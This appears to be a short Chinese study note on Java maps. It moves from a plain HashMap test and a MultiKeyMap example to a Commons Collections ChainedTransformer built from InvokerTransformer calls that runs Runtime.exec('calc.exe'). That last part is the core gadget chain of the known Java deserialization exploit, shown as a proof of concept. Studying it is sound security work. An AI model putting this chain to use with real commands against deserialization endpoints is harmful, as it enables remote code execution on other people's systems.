最普通的map

  1. @Test
  2. public void mapTest() throws Exception {
  3. Map map= new HashMap();
  4. map.put("sa","dd");
  5. map.put("sb","dd");
  6. map.put("gg","cc");
  7. for(Object obj : map.keySet()){
  8. Object value = map.get(obj );
  9. System.out.println(value);
  10. }
  11. System.out.println("done");
  12. }

关于map的decorate函数

  1. MultiKeyMap multiKeyMap = MultiKeyMap.decorate(new LinkedMap());
  2. multiKeyMap.put(1,1,2,"112");
  3. multiKeyMap.put(1,1,3,"113");
  4. multiKeyMap.put(1,2,1,"121");
  5. multiKeyMap.put(1,2,2,"122");
  6. multiKeyMap.put(1,3,1,"131");
  7. //查找一个值:由1,1,2这3个key可以获得唯一的value值
  8. String value = (String)multiKeyMap.get(1,1,2);
  9. System.out.println("value is : " + value);//value is : 112

Transformer执行命令

  1. @Test
  2. public void mapTest() throws Exception {
  3. Transformer[] transformers = new Transformer[]{
  4. new ConstantTransformer(Runtime.class),
  5. new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
  6. new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
  7. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
  8. };
  9. Transformer transformerChain = new ChainedTransformer(transformers);
  10. ByteArrayOutputStream out = new ByteArrayOutputStream();
  11. ObjectOutputStream objOut;
  12. try {
  13. //objOut = new ObjectOutputStream(out);
  14. //objOut.writeObject(transformerChain);
  15. transformerChain.transform(null);
  16. } catch (IOException e) {
  17. // TODO Auto-generated catch block
  18. e.printStackTrace();
  19. }
  20. }